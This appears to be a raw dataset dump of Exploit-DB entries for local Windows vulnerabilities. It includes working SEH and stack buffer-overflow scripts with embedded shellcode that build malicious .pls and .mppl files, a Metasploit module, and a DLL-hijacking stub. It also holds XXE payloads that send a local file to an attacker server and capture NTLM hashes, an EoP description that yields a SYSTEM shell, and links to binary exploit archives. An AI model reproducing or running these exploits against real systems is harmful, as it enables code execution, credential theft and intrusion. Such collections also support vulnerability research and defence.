deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8582
Description: Mercury Audio Player 1.21 - '.pls' Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-04-30
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " Mercury Audio Player 1.21 (.pls) Seh Overwrite Exploit\n"
print " Refer: http://www.milw0rm.com/exploits/8578"
print " Exploit code: His0k4"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: TO ELITE ALGERIANS,snakespc.com\n"
print "**************************************************************************"
         	

header1 = (
"\x5b\x50\x6c\x61\x79\x6c\x69\x73\x74\x5d\x0d\x0a\x46\x69\x6c\x65"
"\x31\x3d")

header2 = (
"\x2e\x6d\x70\x33\x0d\x0a\x54\x69\x74\x6c\x65\x31\x3d\x20\x73\x69"
"\x6c\x65\x6e\x63\x65\x20\x69\x73\x20\x67\x6f\x6c\x64\x0d\x0a\x4e"
"\x75\x6d\x62\x65\x72\x4f\x66\x45\x6e\x74\x72\x69\x65\x73\x3d\x31"
"\x0d\x0a\x56\x65\x72\x73\x69\x6f\x6e\x3d\x32\x0d\x0a")
			
buff = "\x41" * 31
next_seh = "\xEB\x06\x90\x90"
seh = "\xB8\x15\xD1\x72" #msacm32.drv
junk = "\x41"*3000

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe8"
"\x61\xfb\x36\x83\xeb\xfc\xe2\xf4\x14\x89\xbf\x36\xe8\x61\x70\x73"
"\xd4\xea\x87\x33\x90\x60\x14\xbd\xa7\x79\x70\x69\xc8\x60\x10\x7f"
"\x63\x55\x70\x37\x06\x50\x3b\xaf\x44\xe5\x3b\x42\xef\xa0\x31\x3b"
"\xe9\xa3\x10\xc2\xd3\x35\xdf\x32\x9d\x84\x70\x69\xcc\x60\x10\x50"
"\x63\x6d\xb0\xbd\xb7\x7d\xfa\xdd\x63\x7d\x70\x37\x03\xe8\xa7\x12"
"\xec\xa2\xca\xf6\x8c\xea\xbb\x06\x6d\xa1\x83\x3a\x63\x21\xf7\xbd"
"\x98\x7d\x56\xbd\x80\x69\x10\x3f\x63\xe1\x4b\x36\xe8\x61\x70\x5e"
"\xd4\x3e\xca\xc0\x88\x37\x72\xce\x6b\xa1\x80\x66\x80\x91\x71\x32"
"\xb7\x09\x63\xc8\x62\x6f\xac\xc9\x0f\x02\x9a\x5a\x8b\x61\xfb\x36")

exploit = header1 + buff + next_seh + seh + shellcode + junk + header2

try:
    out_file = open("exploit.pls",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-04-30]
Exploit-DB #32261
Description: MicroP 0.1.1.1600 - '.mppl' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2014-03-14
Author: Necmettin COSKUN

Exploit:
#!/usr/bin/env ruby
# Exploit Title:MicroP(.mppl) Local Stack Based Buffer Overflow
# Author:Necmettin COSKUN => twitter.com/babayarisi
# Blog  : http://www.ncoskun.com http://www.grisapka.org
# Vendor :http://sourceforge.net/projects/microp/
# Software link:http://sourceforge.net/projects/microp/files/latest/download
# version: 0.1.1.1600
# Tested on: windows XP sp2
# 4ewa2getha! ;)

print "\n"
  print "\n"
  print "   by\n"                                      
  print "    _       _                   _  v2 _   \n"
  print "   | |_ ___| |_ ___ _ _ ___ ___|_|___|_|  \n"
  print "   | . | .'| . | .'| | | .'|  _| |_ -| |  \n"
  print "   |___|__,|___|__,|_  |__,|_| |_|___|_|  \n"
  print "                   |___|                  \n"                
  print "                                          \n"
  print "\n"
  print "\n"
	 

#shellcode = http://www.exploit-db.com/exploits/28996/ 
#User32-free Messagebox Shellcode for any Windows version
 
 babacode =
   "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"+
   "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"+
   "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"+
   "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"+
   "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+
   "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+
   "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+
   "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
dolgu = "\x41" * 1163 
eip = [0x100145B5].pack('V') 

bumbala=babacode+dolgu+eip

File.open('baba.mppl', 'w') do |bofdosya|  
bofdosya.puts (bumbala)
bofdosya.close()
end
Exploit-DB #17502
Description: MicroP 0.1.1.1600 - '.mppl' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-07-07
Author: Metasploit

Exploit:
##
# $Id: microp_mppl.rb 13114 2011-07-07 06:29:37Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
			'Description'    => %q{ 
					This module exploits a vulnerability found in MicroP 0.1.1.1600.  A stack-based
				buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
				which overwrites the lpFileName parameter of a CreateFileA() function, and results
				arbitrary code execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'James Fitts' ],
			'Version'        => '$Revision: 13114 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 728,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 / Vista / 7',
						{
							'Ret'    => 0x100145b5,  #jmp eax in bass.dll
							'Offset' => 1276,        #Offset to overwrite EIP
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 23 2010',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.mppl']),
				], self.class)
	end

	def exploit
		mppl  = payload.encoded
		mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
		mppl << [target.ret].pack('V')

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(mppl)
	end

end
Exploit-DB #14720
Description: MicroP 0.1.1.1600 - 'mppl' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-08-23
Author: James Fitts

Exploit:
# Exploit Title: MicroP malicious MPPL Buffer Overflow
# Date: 08/23/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/microp/
# Version: 0.1.1.1600
# Tested on: Windows XP SP3 EN

#! /usr/bin/evn ruby


# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
boom =      "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70"
boom << "\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31"
boom << "\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4"
boom << "\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23"
boom << "\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32"
boom << "\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29"
boom << "\x21\xe7\x96\x60\xf5\x71\xca\x06\x35"
boom << "\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0"
boom << "\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8"
boom << "\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3"
boom << "\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
boom << "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5"
boom << "\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05"
boom << "\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51"
boom << "\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78"
boom << "\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b"
boom << "\xca"

spl0it = boom + "\x42" * 1132

EIP = [0x10022b63].pack('V') # call eax from base.dll

File.open("exploit.mppl", 'w') do |b|
	b.write spl0it + EIP
end
Exploit-DB #52280
Description: Microsoft - NTLM Hash Disclosure Spoofing (library-ms)
Type: local
Platform: windows
Date: 2025-05-01
Author: hyp3rlinx

Exploit:
# Exploit title: Microsoft - NTLM Hash Disclosure Spoofing (library-ms)
# Exploit Author: John Page (aka hyp3rlinx)
#  x.com/hyp3rlinx
# ISR: ApparitionSec

Back in 2018, I reported a ".library-ms" File NTLM information disclosure vulnerability to MSRC and was told "it was not severe enough", that being said I post it anyways.
Seven years passed, until other researchers re-reported it.

Subsequently this security flaw was finally deemed important by Microsoft and it received CVE-2025-24054, for which I was finally retroactively credited as the original reporter.

Circa 2025 updated:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054

[References]
https://web.archive.org/web/[PII_REDACTED]1024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt
https://packetstorm.news/files/id/148556/
https://cxsecurity.com/issue/WLB[PII_REDACTED]

[Network Access]
Remote

[Original Disclosure Timeline]
Vendor Notification:  Jun 29, 2018
MSRC Response:   Jul 12, 2018  "risk is not severe enough to justify immediate servicing."
July 14, 2018 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content copyright (c).

hyp3rlinx
Exploit-DB #14745
Description: Microsoft Address Book 6.00.2900.5512 - 'wab32res.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Beenu Arora

Exploit:
/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora , Anirban , Dinesh Arora
# Site : www.beenuarora.com

Exploit Title: Microsoft Address Book DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , Microsoft Address Book 6.00.2900.5512
Vulnerable extensions: wab , p7c

Compile and rename to wab32res.dll, create a file in the same dir with one
of the following extensions:
.wab,p7c
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14745.zip
Exploit-DB #45354
Description: Microsoft Baseline Security Analyzer 2.3 - XML External Entity Injection
Type: local
Platform: windows
Date: 2018-09-10
Author: hyp3rlinx

Exploit:
# Title: Microsoft Baseline Security Analyzer 2.3 - XML External Entity Injection
# Date: 2018-09-08
# Author: John Page (aka hyp3rlinx)
# Vendor: Microsoft
# Software link: https://www.microsoft.com/en-us/download/details.aspx?id=7558
# Software Version: 2.3
# References: ZDI-CAN-6307
# References: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-BASELINE-ANALYZER-v2.3-XML-INJECTION.txt
# References: hyp3rlinx.altervista.org

# Security Issue
# Microsoft Baseline Security Analyzer allows local files to be exfiltrated to a remote attacker 
# controlled server if a user opens a specially crafted ".mbsa" file.

# Exploit/POC

# Install MBSA
# https://www.microsoft.com/en-us/download/details.aspx?id=7558

# 1) "evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# When victim attempts open file they get prompted "Do you want to let this app 
# make changes to your device?" However, it also indicates it is a "verified publisher" namely Microsoft. 
# After opening the local users files can be exfiltrated to a remote server.
# Moreover, we can use this to steal NTLM hashes.

# Using Forced Authentication to steal NTLM hashes

# 2) msf > use auxiliary/server/capture/smb
# msf auxiliary(smb) > exploit -j

"evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [ 
<!ENTITY % dtd SYSTEM "\\192.168.114.153\unknwonfilez">
%dtd;]>

# Result: credentials captured by remote sever
Exploit-DB #52360
Description: Microsoft Brokering File System Windows 11 Version 22H2 - Elevation of Privilege
Type: local
Platform: windows
Date: 2025-07-16
Author: nu11secur1ty

Exploit:
# Titles: Microsoft Brokering File System Windows 11 Version 22H2 - Elevation of Privilege
# Author: nu11secur1ty
# Date: 07/09/2025
# Vendor: Microsoft
# Software: https://www.microsoft.com/en-us/windows/windows-11?r=1
# Reference: https://portswigger.net/web-security/access-control
# CVE-2025-49677

## Description
This Proof of Concept (PoC) demonstrates an interactive SYSTEM shell
exploit for CVE-2025-49677.
It leverages scheduled tasks and a looping batch script running as SYSTEM
to execute arbitrary commands
with NT AUTHORITY\SYSTEM privileges and interactively returns command
output.

# [more](https://github.com/advisories/GHSA-69q2-qmcc-6rh3)
# [Reference](
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49677)

## Usage

1. Run the Python script as Administrator on the vulnerable Windows machine.
2. The script creates a scheduled task that runs a batch script as SYSTEM
user.
3. You get an interactive prompt (`SYSTEM>`) in your Python console.
4. Type any Windows command (e.g. `whoami`, `dir`, `net user`) and see the
SYSTEM-level output.
5. Type `exit` to quit and clean up all temporary files and scheduled tasks.

## Files

- `PoC.py`: Python script implementing the exploit and interactive shell.
- `README.md`: This readme file.

## Requirements

- Python 3.x installed on Windows.
- Run the script with Administrator privileges.
- The script uses built-in Windows commands (schtasks, cmd.exe, timeout).

## Disclaimer

Use this PoC only in authorized environments for testing and research
purposes.
Disclosure responsibly. The author and nu11secur1ty are not responsible for
misuse.

---

# Video:
[href](https://www.youtube.com/watch?v=b_TrOtCKPkg)

# Source:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2025/CVE-2025-49677)

# Buy me a coffee if you are not ashamed:
[href](https://satoshidisk.com/pay/COp6jB)

# Time spent:
05:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #19789
Description: Microsoft Clip Art Gallery 5.0 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2000-03-06
Author: dildog

Exploit:
source: https://www.securityfocus.com/bid/1034/info

A vulnerability exists within the Microsoft Clip Art Gallery, where a remote user can crash the Clip Art application or possibly execute arbitrary code.

Clip art can be downloaded from any website and incorporated into the local gallery. A particular file format called .CIL is used in order to transport new clip art files to the users. The vulnerability is that a user may open a malformed .CIL file containing a long embedded field downloaded from a malicious third-party website or in the form of an email attachment regardless of it's origin.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19789.bad
Exploit-DB #44906
Description: Microsoft COM for Windows - Privilege Escalation
Type: local
Platform: windows
Date: 2018-06-18
Author: Code White

Exploit:
Writeup: https://codewhitesec.blogspot.com/2018/06/cve-2018-0624.html

In May 2018 Microsoft patched an interesting vulnerability (CVE-2018-0824) which was reported by Nicolas Joly of Microsoft's MSRC: 

A remote code execution vulnerability exists in "Microsoft COM for Windows" when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file that is designed to exploit the vulnerability. However, an attacker would have no way to force the user to visit the website. Instead, an attacker would have to convince the user to click a link, typically by way of an enticement in an email or Instant Messenger message, and then convince the user to open the specially crafted file. The security update addresses the vulnerability by correcting how "Microsoft COM for Windows" handles serialized objects.

The keywords "COM" and "serialized" pretty much jumped into my face when the advisory came out. Since I had already spent several months of research time on Microsoft COM last year I decided to look into it. Although the vulnerability can result in remote code execution, I'm only interested in the privilege escalation aspects. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44906.zip
Exploit-DB #19425
Description: Microsoft Data Access Components (MDAC) 2.1 / Microsoft IIS 3.0/4.0 / Microsoft Index Server 2.0 / Microsoft Site Server Commerce Edition 3.0 i386 MDAC - RDS (2)
Type: local
Platform: windows
Date: 1999-07-19
Author: Wanderley J. Abreu Jr

Exploit:
source: https://www.securityfocus.com/bid/529/info
 
MDAC (Microsoft Data Access Components) is a package used to integrate web and database services. It includes a component named RDS (Remote Data Services). RDS allows remote access via the internet to database objects through IIS. Both are included in a default installation of the Windows NT 4.0 Option Pack, but can be excluded via a custom installation.
 
RDS includes a component called the DataFactory object, which has a vulnerability that could allow any web user to:
--Obtain unauthorized access to unpublished files on the IIS server
--Use MDAC to tunnel ODBC requests through to a remote internal or external location, thereby obtaining access to non-public servers or effectively masking the source of an attack on another network.
 
The main risk in this vulnerability is the following:
--If the Microsoft JET OLE DB Provider or Microsoft DataShape Provider are installed, a user could use the shell() VBA command on the server with System privileges. (See the Microsoft JET Database Engine VBA Vulnerability for more information). These two vulnerabilities combined can allow an attacker on the Internet to run arbitrary commands with System level privileges on the target host. 


--RDSExploit information:
RDS EXPLOITER For Win98/NT
Â 
Â 
How it Works:
Â 
Â Â Â Â Â Â Â  The Intent of RDS Exploit is Deliver Shell comands into the machine or Retrive some DATA from a ODBC valid conection.
Â Â Â Â Â Â 
1. Seting ODBC Conection:
First of all you will need to know some valid DSN, the UID (User ID) and Password.Â  Put the information about the conection into "Connection Properties":
Data Source: The DSN Conection Name (it MUST be a registered DSN)
User ID: Login (it can be null sometimes)
[CREDENTIAL_REDACTED] (it can be null sometimes)Â Â 
Mode: The way you want to open the Table (Read Only or Read and Write)
Â 
You must follow the order above and don't forget the ; to separate the options
Â It can be for instance a line like this:
"Data Source=AdvWorks;User ID=;Password=;Mode=Read|Write;"
Â Â 
2. SQL Comands:
Put into the "SQL Parameters" box the command line you want to deliver for example:
"SELECT * FROM Products"

3. Host:
Â You MUST Enter the host like this http://serverÂ  DON'T FORGET HTTP:// or it'll not work.
Â 
After all done, just click in the button "Retrieve Data" and see what happens =)
Â  


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19425.zip
Exploit-DB #45675
Description: Microsoft Data Sharing - Local Privilege Escalation (PoC)
Type: local
Platform: windows
Date: 2018-10-23
Author: SandboxEscaper

Exploit:
Bug description:

`RpcDSSMoveFromSharedFile(handle,L"token",L"c:\\blah1\\pci.sys");`

This function exposed over alpc, has a arbitrary delete vuln. 

Hitting the timing was pretty annoying. But my PoC will keep rerunning until c:\windows\system32\drivers\pci.sys is deleted.

I believe it's impossible to hit the timing on a single core VM. I was able to trigger it using 4 cores on my VM. (Sadly I wasn't able to use OPLOCKS with this particular bug)

Root cause is basically just a delete without impersonation because of an early revert to self. Should be straight forward to fix it...

Exploitation wise... you either try to trigger DLL hijacking issues in 3rd party software.. or delete temp files used by a system service in c:\windows\temp and hijack them and hopefully do some evil stuff.


EDB Note ~ Source: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45675-1.rar
EDB Note ~ Binary: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45675-2.exe